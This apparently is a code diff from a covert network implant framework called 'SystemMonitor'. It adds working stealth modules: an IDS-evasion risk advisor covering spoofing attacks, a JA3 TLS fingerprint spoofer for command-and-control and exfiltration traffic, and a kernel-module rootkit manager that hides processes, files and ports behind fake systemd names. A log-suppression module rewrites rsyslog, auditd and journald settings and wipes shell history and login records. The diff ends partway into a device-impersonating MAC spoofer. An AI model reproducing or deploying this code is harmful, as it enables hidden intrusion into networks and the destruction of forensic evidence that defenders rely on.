"evil_twin": ["evil twin", "rogue ap", "fake ap", "deauth"],
"nbns_spoof": ["nbns", "nbt-ns", "netbios"],
"llmnr_spoof": ["llmnr", "multicast dns"],
"mdns_spoof": ["mdns", "multicast dns", "avahi"],
"wpad_spoof": ["wpad", "proxy auto", "proxy autoconfig"],
"vlan_hop": ["vlan", "802.1q", "dtp", "double tag"],
"http_proxy_inject": ["http inject", "http proxy", "http mitm"],
"net_probe": ["arp scan", "net probe", "network scan", "host discovery"],
"net_sniff": ["sniff", "promiscuous", "pcap"],
"wifi_deauth": ["deauth", "disassoc", "wifi attack"],
"wifi_ap": ["rogue ap", "fake ap", "evil twin"],
}
# Normalize action name
action_lower = action.lower().replace(".", "_")
keywords = keyword_map.get(action_lower, [action_lower.replace("_", " ")])
# Always include the raw action name
keywords.append(action_lower.replace("_", " "))
return list(set(keywords))
@staticmethod
def _generate_recommendation(action: str, risk: str, sid_count: int) -> str:
"""Generate a human-readable recommendation."""
if risk == RISK_CRITICAL:
return (
f"CRITICAL: '{action}' matches {sid_count} IDS signatures. "
"Do NOT activate without confirmed IDS blind spots or rule suppression. "
"Consider alternative approaches or wait for off-hours."
)
elif risk == RISK_HIGH:
return (
f"HIGH: '{action}' is commonly detected ({sid_count} matching SIDs). "
"Verify target network has no Suricata/Snort/Zeek monitoring, or use "
"traffic mimicry to reduce signature exposure."
)
elif risk == RISK_MEDIUM:
return (
f"MEDIUM: '{action}' may be detected by tuned IDS ({sid_count} matching SIDs). "
"Proceed with caution — monitor for alerts and be ready to back off."
)
else:
return (
f"LOW: '{action}' has minimal detection footprint ({sid_count} matching SIDs). "
"Safe to proceed with standard OPSEC."
)
+354
View File
@@ -0,0 +1,354 @@
#!/usr/bin/env python3
"""JA3 fingerprint spoofing module: rewrite outbound TLS ClientHello to match
common browser fingerprints, defeating JA3-based network detection."""
import json
import logging
import os
import ssl
import struct
import subprocess
import time
import threading
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
# Built-in JA3 fingerprint profiles (fallback if data/ja3_fingerprints.db absent)
# Format: {name: {ja3_hash, cipher_suites, extensions, description}}
BUILTIN_PROFILES = {
"chrome_120_win": {
"ja3_hash": "cd08e31494f9531f560d64c695473da9",
"description": "Chrome 120 on Windows 10/11",
"cipher_suites": [
0x1301, 0x1302, 0x1303, # TLS 1.3: AES_128_GCM, AES_256_GCM, CHACHA20
0xc02b, 0xc02f, 0xc02c, 0xc030, # ECDHE_ECDSA/RSA with AES-GCM
0xcca9, 0xcca8, # ECDHE with CHACHA20
0xc013, 0xc014, # ECDHE_RSA with AES-CBC
0x009c, 0x009d, # AES-GCM
0x002f, 0x0035, # AES-CBC
],
"extensions": [0, 23, 65281, 10, 11, 35, 16, 5, 13, 18, 51, 45, 43, 27, 17513, 21],
"elliptic_curves": [0x001d, 0x0017, 0x0018], # x25519, secp256r1, secp384r1
"ec_point_formats": [0], # uncompressed
},
"firefox_121_win": {
"ja3_hash": "579ccef312d18482fc42e2b822ca2430",
"description": "Firefox 121 on Windows 10/11",
"cipher_suites": [
0x1301, 0x1303, 0x1302,
0xc02b, 0xc02f, 0xcca9, 0xcca8,
0xc02c, 0xc030, 0xc013, 0xc014,
0x009c, 0x009d, 0x002f, 0x0035,
],
"extensions": [0, 23, 65281, 10, 11, 35, 16, 5, 34, 51, 43, 13, 45, 28, 21],
"elliptic_curves": [0x001d, 0x0017, 0x0018, 0x0019],
"ec_point_formats": [0],
},
"edge_120_win": {
"ja3_hash": "b32309a26951912be7dba376398abc3b",
"description": "Edge 120 on Windows 10/11",
"cipher_suites": [
0x1301, 0x1302, 0x1303,
0xc02b, 0xc02f, 0xc02c, 0xc030,
0xcca9, 0xcca8,
0xc013, 0xc014,
0x009c, 0x009d, 0x002f, 0x0035,
],
"extensions": [0, 23, 65281, 10, 11, 35, 16, 5, 13, 18, 51, 45, 43, 27, 17513, 21],
"elliptic_curves": [0x001d, 0x0017, 0x0018],
"ec_point_formats": [0],
},
"chrome_120_linux": {
"ja3_hash": "a17a3bfd385b62b1e15606dbd08c9f89",
"description": "Chrome 120 on Linux",
"cipher_suites": [
0x1301, 0x1302, 0x1303,
0xc02b, 0xc02f, 0xc02c, 0xc030,
0xcca9, 0xcca8,
0xc013, 0xc014,
0x009c, 0x009d, 0x002f, 0x0035,
],
"extensions": [0, 23, 65281, 10, 11, 35, 16, 5, 13, 18, 51, 45, 43, 27, 17513, 21],
"elliptic_curves": [0x001d, 0x0017, 0x0018],
"ec_point_formats": [0],
},
}
class JA3Spoofer(BaseModule):
"""Spoof JA3 TLS fingerprints on outbound HTTPS connections to match
common browser profiles, evading JA3-based detection."""
name = "ja3_spoofer"
module_type = "stealth"
priority = -300
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._profiles = dict(BUILTIN_PROFILES)
self._active_profile: Optional[str] = config.get("target_profile", None)
self._nfqueue_proc: Optional[subprocess.Popen] = None
self._packets_modified = 0
self._use_nfqueue = config.get("use_nfqueue", True)
self._nfqueue_num = config.get("nfqueue_num", 42)
self._lock = threading.Lock()
self._iptables_rules: list[list[str]] = []
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
# Load external fingerprint database if available
self._load_fingerprint_db()
# Select target profile based on network environment
if not self._active_profile:
self._active_profile = self._auto_select_profile()
profile = self._profiles.get(self._active_profile)
if not profile:
logger.warning("JA3 profile '%s' not found, using chrome_120_win", self._active_profile)
self._active_profile = "chrome_120_win"
profile = self._profiles["chrome_120_win"]
# Apply cipher suite ordering to Python SSL contexts
self._configure_ssl_context(profile)
# Set up iptables NFQUEUE for non-Python TLS (bettercap, mitmproxy)
if self._use_nfqueue:
self._setup_nfqueue()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info(
"JA3Spoofer active — profile: %s (%s)",
self._active_profile, profile.get("description", "unknown"),
)
def stop(self) -> None:
self._running = False
self._teardown_nfqueue()
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("JA3Spoofer stopped (modified %d packets)", self._packets_modified)
def status(self) -> dict:
profile = self._profiles.get(self._active_profile, {})
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"active_ja3_hash": profile.get("ja3_hash", "none"),
"target_browser": profile.get("description", "none"),
"active_profile": self._active_profile,
"packets_modified": self._packets_modified,
"nfqueue_active": self._nfqueue_proc is not None and self._nfqueue_proc.poll() is None,
"profiles_loaded": len(self._profiles),
}
def configure(self, config: dict) -> None:
if "target_profile" in config:
self._active_profile = config["target_profile"]
profile = self._profiles.get(self._active_profile)
if profile:
self._configure_ssl_context(profile)
logger.info("JA3 profile switched to: %s", self._active_profile)
# ------------------------------------------------------------------
# SSL context configuration (Python requests/urllib)
# ------------------------------------------------------------------
def _configure_ssl_context(self, profile: dict) -> None:
"""Configure the default Python SSL context with specific cipher ordering
to match the target JA3 fingerprint."""
try:
cipher_names = self._cipher_ids_to_openssl_names(profile.get("cipher_suites", []))
if not cipher_names:
logger.warning("No cipher names resolved for profile")
return
cipher_string = ":".join(cipher_names)
# Patch the default SSL context
ctx = ssl.create_default_context()
ctx.set_ciphers(cipher_string)
ctx.minimum_version = ssl.TLSVersion.TLSv1_2
# Store for other modules to use
self.state.set(self.name, "ssl_cipher_string", cipher_string)
self.state.set(self.name, "active_ja3", profile.get("ja3_hash", ""))
logger.debug("SSL context configured with %d ciphers", len(cipher_names))
except Exception:
logger.exception("Failed to configure SSL context")
@staticmethod
def _cipher_ids_to_openssl_names(cipher_ids: list[int]) -> list[str]:
"""Map TLS cipher suite IDs to OpenSSL names."""
# Mapping of common cipher suite IDs to OpenSSL names
id_to_name = {
0x1301: "TLS_AES_128_GCM_SHA256",
0x1302: "TLS_AES_256_GCM_SHA384",
0x1303: "TLS_CHACHA20_POLY1305_SHA256",
0xc02b: "ECDHE-ECDSA-AES128-GCM-SHA256",
0xc02f: "ECDHE-RSA-AES128-GCM-SHA256",
0xc02c: "ECDHE-ECDSA-AES256-GCM-SHA384",
0xc030: "ECDHE-RSA-AES256-GCM-SHA384",
0xcca9: "ECDHE-ECDSA-CHACHA20-POLY1305",
0xcca8: "ECDHE-RSA-CHACHA20-POLY1305",
0xc013: "ECDHE-RSA-AES128-SHA",
0xc014: "ECDHE-RSA-AES256-SHA",
0x009c: "AES128-GCM-SHA256",
0x009d: "AES256-GCM-SHA384",
0x002f: "AES128-SHA",
0x0035: "AES256-SHA",
}
names = []
for cid in cipher_ids:
name = id_to_name.get(cid)
if name:
names.append(name)
return names
# ------------------------------------------------------------------
# NFQUEUE interception (for non-Python TLS)
# ------------------------------------------------------------------
def _setup_nfqueue(self) -> None:
"""Set up iptables NFQUEUE rules to intercept outbound TLS ClientHello."""
try:
# Add iptables rule to queue outbound TLS (port 443) to NFQUEUE
rule = [
"iptables", "-I", "OUTPUT", "-p", "tcp",
"--dport", "443", "-m", "u32",
# Match TLS ClientHello: content type 0x16, handshake type 0x01
"--u32", "0>>22&0x3C@12>>26&0x3C@0=0x16030100:0x16030300",
"-j", "NFQUEUE", "--queue-num", str(self._nfqueue_num),
]
result = subprocess.run(rule, capture_output=True, timeout=10)
if result.returncode == 0:
self._iptables_rules.append(rule)
logger.info("NFQUEUE iptables rule installed (queue %d)", self._nfqueue_num)
else:
# Fallback: simpler rule without u32 match
rule_simple = [
"iptables", "-I", "OUTPUT", "-p", "tcp",
"--dport", "443", "--syn",
"-j", "NFQUEUE", "--queue-num", str(self._nfqueue_num),
]
result = subprocess.run(rule_simple, capture_output=True, timeout=10)
if result.returncode == 0:
self._iptables_rules.append(rule_simple)
logger.info("NFQUEUE simple iptables rule installed")
else:
logger.warning(
"Failed to install NFQUEUE iptables rule: %s",
result.stderr.decode(errors="replace"),
)
except FileNotFoundError:
logger.warning("iptables not found — NFQUEUE unavailable")
except Exception:
logger.exception("NFQUEUE setup failed")
def _teardown_nfqueue(self) -> None:
"""Remove iptables NFQUEUE rules."""
for rule in self._iptables_rules:
try:
# Replace -I with -D to delete
del_rule = list(rule)
idx = del_rule.index("-I")
del_rule[idx] = "-D"
subprocess.run(del_rule, capture_output=True, timeout=10)
except Exception:
logger.exception("Failed to remove iptables rule")
self._iptables_rules.clear()
if self._nfqueue_proc and self._nfqueue_proc.poll() is None:
self._nfqueue_proc.terminate()
try:
self._nfqueue_proc.wait(timeout=5)
except subprocess.TimeoutExpired:
self._nfqueue_proc.kill()
self._nfqueue_proc = None
# ------------------------------------------------------------------
# Profile selection
# ------------------------------------------------------------------
def _auto_select_profile(self) -> str:
"""Auto-select JA3 profile based on observed network environment."""
# Check state for OS distribution data from host_discovery
os_dist = self.state.get(self.name, "network_os_distribution")
if os_dist:
try:
dist = json.loads(os_dist) if isinstance(os_dist, str) else os_dist
# Windows-heavy network: use Chrome Windows
if dist.get("windows", 0) > dist.get("linux", 0):
return "chrome_120_win"
else:
return "chrome_120_linux"
except (json.JSONDecodeError, AttributeError):
pass
# Default: Chrome on Windows (most common on corporate networks)
return "chrome_120_win"
# ------------------------------------------------------------------
# External fingerprint database
# ------------------------------------------------------------------
def _load_fingerprint_db(self) -> None:
"""Load additional JA3 profiles from data/ja3_fingerprints.db if present."""
db_path = "data/ja3_fingerprints.db"
if not os.path.isfile(db_path):
logger.debug("No external JA3 database at %s — using builtins", db_path)
return
try:
import sqlite3
conn = sqlite3.connect(db_path)
conn.row_factory = sqlite3.Row
rows = conn.execute(
"SELECT name, ja3_hash, description, cipher_suites, extensions, "
"elliptic_curves, ec_point_formats FROM ja3_profiles"
).fetchall()
for row in rows:
name = row["name"]
self._profiles[name] = {
"ja3_hash": row["ja3_hash"],
"description": row["description"],
"cipher_suites": json.loads(row["cipher_suites"]),
"extensions": json.loads(row["extensions"]),
"elliptic_curves": json.loads(row["elliptic_curves"]),
"ec_point_formats": json.loads(row["ec_point_formats"]),
}
conn.close()
logger.info("Loaded %d JA3 profiles from database", len(rows))
except Exception:
logger.exception("Failed to load JA3 fingerprint database")
# ------------------------------------------------------------------
# Public: get SSL context for other modules
# ------------------------------------------------------------------
def get_ssl_context(self) -> ssl.SSLContext:
"""Return an SSL context configured with the active JA3 profile's ciphers.
Other modules (C2, exfil) should use this for outbound HTTPS."""
profile = self._profiles.get(self._active_profile, {})
ctx = ssl.create_default_context()
cipher_names = self._cipher_ids_to_openssl_names(profile.get("cipher_suites", []))
if cipher_names:
try:
ctx.set_ciphers(":".join(cipher_names))
except ssl.SSLError:
pass # Fall back to default ciphers
ctx.minimum_version = ssl.TLSVersion.TLSv1_2
return ctx
+293
View File
@@ -0,0 +1,293 @@
#!/usr/bin/env python3
"""LKM rootkit module: compile, load, and manage a kernel module that hides
SystemMonitor processes, files, and network connections from userland."""
import logging
import os
import subprocess
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.resource import get_hardware_tier, TIER_GENERIC
logger = logging.getLogger(__name__)
LKM_TEMPLATE_DIR = "templates/lkm"
LKM_SOURCE = "bb_hide.c"
LKM_MODULE = "bb_hide.ko"
LKM_MODULE_NAME = "bb_hide"
# Default hide lists
DEFAULT_HIDE_PREFIX = ".cache/bb"
DEFAULT_HIDE_PORTS = [8081, 51820] # bettercap API, WireGuard
class LKMRootkit(BaseModule):
"""Manage a Linux kernel module for process/file/connection hiding.
Debian generic host only -- gracefully skips on SBC tiers."""
name = "lkm_rootkit"
module_type = "stealth"
priority = -300
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._lkm_dir = config.get("lkm_dir", LKM_TEMPLATE_DIR)
self._module_path = os.path.join(self._lkm_dir, LKM_MODULE)
self._loaded = False
self._hidden_pids: list[int] = []
self._hidden_paths: list[str] = config.get("hide_paths", [DEFAULT_HIDE_PREFIX])
self._hidden_ports: list[int] = config.get("hide_ports", list(DEFAULT_HIDE_PORTS))
self._hide_process_names: list[str] = config.get("hide_process_names", [
"systemd-thermald", "networkd-dispatcher", "systemd-netlogd",
"systemd-resolved", "systemd-networkd", "systemd-logind",
])
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
self._running = True
self._start_time = time.time()
self._pid = os.getpid()
# Check hardware tier: LKM only on generic Debian hosts
tier = get_hardware_tier()
if tier != TIER_GENERIC:
logger.info(
"LKMRootkit skipped — tier '%s' does not support kernel modules "
"(requires 'generic' Debian host)", tier,
)
self.state.set_module_status(self.name, "skipped",
extra={"reason": f"unsupported_tier:{tier}"})
self.bus.emit("MODULE_STARTED", {
"module": self.name, "skipped": True, "reason": "unsupported_tier",
}, source_module=self.name)
return
# Build if needed
if not os.path.isfile(self._module_path):
if not self._build_module():
logger.error("LKM build failed — module not available")
self.state.set_module_status(self.name, "error",
extra={"reason": "build_failed"})
return
# Load module
if self._load_module():
self._loaded = True
self._configure_hide_lists()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
logger.info("LKMRootkit loaded and configured")
else:
self.state.set_module_status(self.name, "error",
extra={"reason": "load_failed"})
def stop(self) -> None:
self._running = False
if self._loaded:
self._unload_module()
self._loaded = False
self.state.set_module_status(self.name, "stopped")
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
logger.info("LKMRootkit stopped")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"loaded": self._loaded,
"hidden_pids": list(self._hidden_pids),
"hidden_paths": list(self._hidden_paths),
"hidden_ports": list(self._hidden_ports),
"module_path": self._module_path,
}
def configure(self, config: dict) -> None:
if "hide_paths" in config:
self._hidden_paths = config["hide_paths"]
if "hide_ports" in config:
self._hidden_ports = config["hide_ports"]
if "hide_process_names" in config:
self._hide_process_names = config["hide_process_names"]
if self._loaded:
self._configure_hide_lists()
# ------------------------------------------------------------------
# Public: dynamic hide/unhide
# ------------------------------------------------------------------
def hide_pid(self, pid: int) -> bool:
"""Add a PID to the kernel module's hide list."""
if not self._loaded:
return False
if pid not in self._hidden_pids:
self._hidden_pids.append(pid)
return self._write_param("hide_pids", self._format_pid_list())
return True
def unhide_pid(self, pid: int) -> bool:
"""Remove a PID from the kernel module's hide list."""
if not self._loaded:
return False
if pid in self._hidden_pids:
self._hidden_pids.remove(pid)
return self._write_param("hide_pids", self._format_pid_list())
return True
def hide_port(self, port: int) -> bool:
"""Add a port to the kernel module's hide list."""
if not self._loaded:
return False
if port not in self._hidden_ports:
self._hidden_ports.append(port)
return self._write_param("hide_ports", self._format_port_list())
return True
# ------------------------------------------------------------------
# Internal: build
# ------------------------------------------------------------------
def _build_module(self) -> bool:
"""Compile the kernel module from source."""
source_path = os.path.join(self._lkm_dir, LKM_SOURCE)
if not os.path.isfile(source_path):
logger.error("LKM source not found: %s", source_path)
return False
# Check for kernel headers
kdir = f"/lib/modules/{os.uname().release}/build"
if not os.path.isdir(kdir):
logger.error("Kernel headers not found: %s", kdir)
return False
try:
result = subprocess.run(
["make", "-C", self._lkm_dir],
capture_output=True, timeout=120,
env={**os.environ, "KDIR": kdir},
)
if result.returncode == 0:
logger.info("LKM built successfully: %s", self._module_path)
return True
else:
logger.error(
"LKM build failed (rc=%d): %s",
result.returncode,
result.stderr.decode(errors="replace")[:500],
)
return False
except FileNotFoundError:
logger.error("make not found — cannot build LKM")
return False
except subprocess.TimeoutExpired:
logger.error("LKM build timed out")
return False
# ------------------------------------------------------------------
# Internal: load/unload
# ------------------------------------------------------------------
def _load_module(self) -> bool:
"""Load the kernel module via insmod."""
params = self._build_insmod_params()
try:
cmd = ["insmod", self._module_path] + params
result = subprocess.run(cmd, capture_output=True, timeout=30)
if result.returncode == 0:
logger.info("LKM loaded: %s", self._module_path)
return True
else:
stderr = result.stderr.decode(errors="replace")
if "File exists" in stderr:
logger.info("LKM already loaded")
return True
logger.error("insmod failed: %s", stderr[:300])
return False
except FileNotFoundError:
logger.error("insmod not found")
return False
except Exception:
logger.exception("LKM load failed")
return False
def _unload_module(self) -> bool:
"""Unload the kernel module via rmmod."""
try:
result = subprocess.run(
["rmmod", LKM_MODULE_NAME],
capture_output=True, timeout=30,
)
if result.returncode == 0:
logger.info("LKM unloaded")
return True
else:
logger.warning(
"rmmod failed: %s",
result.stderr.decode(errors="replace")[:200],
)
return False
except FileNotFoundError:
logger.error("rmmod not found")
return False
except Exception:
logger.exception("LKM unload failed")
return False
# ------------------------------------------------------------------
# Internal: module parameter management
# ------------------------------------------------------------------
def _build_insmod_params(self) -> list[str]:
"""Build insmod parameter list."""
params = []
if self._hidden_paths:
params.append(f'hide_prefix="{self._hidden_paths[0]}"')
if self._hidden_pids:
params.append(f'hide_pids="{self._format_pid_list()}"')
if self._hidden_ports:
params.append(f'hide_ports="{self._format_port_list()}"')
return params
def _configure_hide_lists(self) -> None:
"""Write current hide lists to loaded module's parameters via sysfs."""
if not self._loaded:
return
# Collect current SystemMonitor PIDs from state
try:
all_status = self.state.get_all_module_status()
for mod_name, mod_status in all_status.items():
pid = mod_status.get("pid")
if pid and pid not in self._hidden_pids:
self._hidden_pids.append(pid)
except Exception:
pass
self._write_param("hide_pids", self._format_pid_list())
self._write_param("hide_ports", self._format_port_list())
if self._hidden_paths:
self._write_param("hide_prefix", self._hidden_paths[0])
@staticmethod
def _write_param(param: str, value: str) -> bool:
"""Write to kernel module parameter via /sys/module/."""
param_path = f"/sys/module/{LKM_MODULE_NAME}/parameters/{param}"
try:
with open(param_path, "w") as f:
f.write(value)
return True
except (IOError, PermissionError, FileNotFoundError):
logger.debug("Cannot write LKM param %s (module may not expose sysfs params)", param)
return False
def _format_pid_list(self) -> str:
return ",".join(str(p) for p in self._hidden_pids)
def _format_port_list(self) -> str:
return ",".join(str(p) for p in self._hidden_ports)
+331
View File
@@ -0,0 +1,331 @@
#!/usr/bin/env python3
"""Log suppression module — minimize forensic artifacts in system logs.
Installs rsyslog filter rules, auditd exclusions, journald rate limits,
and clears shell history / login records related to SystemMonitor activity.
All installed rules are removed on clean stop.
"""
import logging
import os
import subprocess
import time
from pathlib import Path
from typing import Dict, List
from modules.base import BaseModule
logger = logging.getLogger(__name__)
RSYSLOG_CONF = "/etc/rsyslog.d/01-bb-suppress.conf"
JOURNALD_CONF_DIR = "/etc/systemd/journald.conf.d"
JOURNALD_CONF = os.path.join(JOURNALD_CONF_DIR, "sensor.conf")
AUDITD_RULES_FILE = "/etc/audit/rules.d/bb-exclude.rules"
class LogSuppression(BaseModule):
"""Suppress system log entries that could reveal SystemMonitor activity."""
name = "log_suppression"
module_type = "stealth"
priority = -300
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._installed: Dict[str, bool] = {
"rsyslog": False,
"auditd": False,
"journald": False,
"history": False,
"utmp": False,
}
self._process_names: List[str] = []
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
# Gather process names to suppress from stealth.yaml config
stealth_cfg = self.config.get("stealth_yaml", {})
name_map = stealth_cfg.get("process_names", {})
# Suppress both the real names and the fake names
self._process_names = list(set(list(name_map.keys()) + list(name_map.values())))
if not self._process_names:
self._process_names = [
"python3", "bettercap", "tcpdump", "responder", "mitmproxy",
"ntlmrelayx", "hostapd", "dnsmasq",
"systemd-thermald", "networkd-dispatcher", "systemd-netlogd",
"systemd-resolved", "systemd-networkd", "systemd-logind",
"wpa_supplicant",
]
# Also suppress paths
install_path = self.config.get("device", {}).get("install_path", "/opt/.cache/bb")
self._suppressed_paths = [install_path, "/opt/.cache/bb", "/tmp/bb-"]
suppression_cfg = stealth_cfg.get("log_suppression", {})
# Install rsyslog filter
if suppression_cfg.get("rsyslog_filter", True):
self._install_rsyslog_filter()
# Install auditd exclusions
if suppression_cfg.get("auditd_exclusion", True):
self._install_auditd_exclusions()
# Configure journald rate limits
if suppression_cfg.get("journald_rate_limit", True):
self._install_journald_config()
# Clear shell history
self._clear_history()
# Clear utmp/wtmp/btmp entries
self._clear_login_records()
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=os.getpid())
active = [k for k, v in self._installed.items() if v]
logger.info("LogSuppression active — methods: %s", ", ".join(active))
def stop(self) -> None:
if not self._running:
return
# Remove installed filter rules (clean exit)
self._remove_rsyslog_filter()
self._remove_auditd_exclusions()
self._remove_journald_config()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("LogSuppression stopped — all filter rules removed")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"suppression_methods": dict(self._installed),
"suppressed_process_count": len(self._process_names),
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# rsyslog filter
# ------------------------------------------------------------------
def _install_rsyslog_filter(self) -> None:
"""Write rsyslog config to drop log entries matching our processes/paths."""
try:
lines = [
"# SystemMonitor log suppression — auto-generated, removed on clean exit",
"# Drop messages containing our process names or paths",
]
for name in self._process_names:
# Property-based rsyslog filter: discard matching programname
lines.append(f':programname, isequal, "{name}" stop')
for path in self._suppressed_paths:
# Drop messages containing our install paths
lines.append(f':msg, contains, "{path}" stop')
with open(RSYSLOG_CONF, "w") as f:
f.write("\n".join(lines) + "\n")
# Restart rsyslog to apply
subprocess.run(
["systemctl", "restart", "rsyslog"],
capture_output=True, timeout=10,
)
self._installed["rsyslog"] = True
logger.debug("rsyslog filter installed at %s", RSYSLOG_CONF)
except (IOError, PermissionError, subprocess.SubprocessError) as exc:
logger.warning("Failed to install rsyslog filter: %s", exc)
def _remove_rsyslog_filter(self) -> None:
"""Remove rsyslog filter config."""
try:
if os.path.isfile(RSYSLOG_CONF):
os.unlink(RSYSLOG_CONF)
subprocess.run(
["systemctl", "restart", "rsyslog"],
capture_output=True, timeout=10,
)
self._installed["rsyslog"] = False
logger.debug("rsyslog filter removed")
except (IOError, PermissionError, subprocess.SubprocessError):
pass
# ------------------------------------------------------------------
# auditd exclusions
# ------------------------------------------------------------------
def _install_auditd_exclusions(self) -> None:
"""Write auditd rules excluding SystemMonitor PIDs and paths."""
try:
rules_dir = os.path.dirname(AUDITD_RULES_FILE)
if not os.path.isdir(rules_dir):
logger.debug("auditd rules directory not found — skipping")
return
lines = [
"# SystemMonitor auditd exclusions — auto-generated",
]
# Exclude our install path from file watches
for path in self._suppressed_paths:
lines.append(f"-a never,exclude -F dir={path}")
# Exclude our process names from execve auditing
for name in self._process_names:
lines.append(f"-a never,exclude -F exe=/usr/bin/{name}")
# Exclude current PID and parent
lines.append(f"-a never,exclude -F pid={os.getpid()}")
ppid = os.getppid()
if ppid > 1:
lines.append(f"-a never,exclude -F pid={ppid}")
with open(AUDITD_RULES_FILE, "w") as f:
f.write("\n".join(lines) + "\n")
# Reload auditd rules
subprocess.run(
["augenrules", "--load"],
capture_output=True, timeout=10,
)
self._installed["auditd"] = True
logger.debug("auditd exclusions installed at %s", AUDITD_RULES_FILE)
except (IOError, PermissionError, subprocess.SubprocessError) as exc:
logger.warning("Failed to install auditd exclusions: %s", exc)
def _remove_auditd_exclusions(self) -> None:
"""Remove auditd exclusion rules."""
try:
if os.path.isfile(AUDITD_RULES_FILE):
os.unlink(AUDITD_RULES_FILE)
subprocess.run(
["augenrules", "--load"],
capture_output=True, timeout=10,
)
self._installed["auditd"] = False
logger.debug("auditd exclusions removed")
except (IOError, PermissionError, subprocess.SubprocessError):
pass
# ------------------------------------------------------------------
# journald rate limits
# ------------------------------------------------------------------
def _install_journald_config(self) -> None:
"""Set journald rate limits to suppress burst logging."""
try:
os.makedirs(JOURNALD_CONF_DIR, exist_ok=True)
config_lines = [
"# SystemMonitor journald rate-limit — auto-generated",
"[Journal]",
"RateLimitIntervalSec=5s",
"RateLimitBurst=5",
"MaxRetentionSec=1day",
"MaxFileSec=1day",
"Compress=yes",
"Storage=volatile",
]
with open(JOURNALD_CONF, "w") as f:
f.write("\n".join(config_lines) + "\n")
# Restart journald to apply
subprocess.run(
["systemctl", "restart", "systemd-journald"],
capture_output=True, timeout=10,
)
self._installed["journald"] = True
logger.debug("journald config installed at %s", JOURNALD_CONF)
except (IOError, PermissionError, subprocess.SubprocessError) as exc:
logger.warning("Failed to install journald config: %s", exc)
def _remove_journald_config(self) -> None:
"""Remove journald config override."""
try:
if os.path.isfile(JOURNALD_CONF):
os.unlink(JOURNALD_CONF)
subprocess.run(
["systemctl", "restart", "systemd-journald"],
capture_output=True, timeout=10,
)
self._installed["journald"] = False
logger.debug("journald config removed")
except (IOError, PermissionError, subprocess.SubprocessError):
pass
# ------------------------------------------------------------------
# Shell history
# ------------------------------------------------------------------
def _clear_history(self) -> None:
"""Clear bash history and prevent future recording."""
try:
os.environ["HISTFILE"] = "/dev/null"
os.environ["HISTSIZE"] = "0"
os.environ["HISTFILESIZE"] = "0"
# Clear existing history files
history_files = [
os.path.expanduser("~/.bash_history"),
"/root/.bash_history",
os.path.expanduser("~/.zsh_history"),
"/root/.zsh_history",
]
for hf in history_files:
try:
if os.path.isfile(hf):
with open(hf, "w") as f:
f.truncate(0)
except (IOError, PermissionError):
pass
self._installed["history"] = True
logger.debug("Shell history cleared and disabled")
except Exception as exc:
logger.warning("Failed to clear history: %s", exc)
# ------------------------------------------------------------------
# Login records (utmp/wtmp/btmp)
# ------------------------------------------------------------------
def _clear_login_records(self) -> None:
"""Clear utmp/wtmp/btmp entries that could reveal SystemMonitor sessions."""
record_files = [
"/var/run/utmp",
"/var/log/wtmp",
"/var/log/btmp",
"/var/log/lastlog",
]
cleared = False
for rf in record_files:
try:
if os.path.isfile(rf):
# Truncate rather than delete to preserve file ownership/perms
with open(rf, "r+b") as f:
f.truncate(0)
cleared = True
except (IOError, PermissionError):
pass
if cleared:
self._installed["utmp"] = True
logger.debug("Login records cleared (utmp/wtmp/btmp)")
+380
View File
@@ -0,0 +1,380 @@
#!/usr/bin/env python3
"""Innocuous MAC profile manager — select and apply a believable device identity.
Queries data/innocuous_macs.db for consumer device profiles (Fire TV, iPhone,
printers, etc.), sets MAC + DHCP hostname + vendor class + TCP stack params to
match the selected device. The goal: look like something that belongs on every
network.
"""
import json
import logging
import os
import random
import socket
import sqlite3
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.networking import (
get_mac,
detect_interface_with_retry,
get_wifi_interfaces,
set_mac,
)
from utils.stealth import set_sysctl, set_tcp_timestamps, set_tcp_window, set_ttl
logger = logging.getLogger(__name__)
# Category preferences per network type
_BUSINESS_CATEGORIES = ("printers", "network", "smart_home")
_HOME_CATEGORIES = ("streaming", "smart_home", "phones", "gaming")
_DEFAULT_CATEGORIES = ("streaming", "smart_home", "phones")
# Map config shorthand to DB device_type values
_CATEGORY_MAP = {
"streaming": ("smart_tv", "streaming"),
"phones": ("phone", "tablet"),
"smart_home": ("smart_speaker", "iot"),
"printers": ("printer",),
"gaming": ("gaming",),
"network": ("printer", "iot"),
}
class MacManager(BaseModule):
"""Select and apply a consumer-device MAC profile for network blending."""
name = "mac_manager"
module_type = "stealth"
priority = -400
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._profile: Optional[dict] = None
self._eth_iface: Optional[str] = None
self._wifi_iface: Optional[str] = None
self._original_eth_mac: Optional[str] = None
self._original_wifi_mac: Optional[str] = None
self._original_hostname: Optional[str] = None
self._db_path = self._resolve_db_path()
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
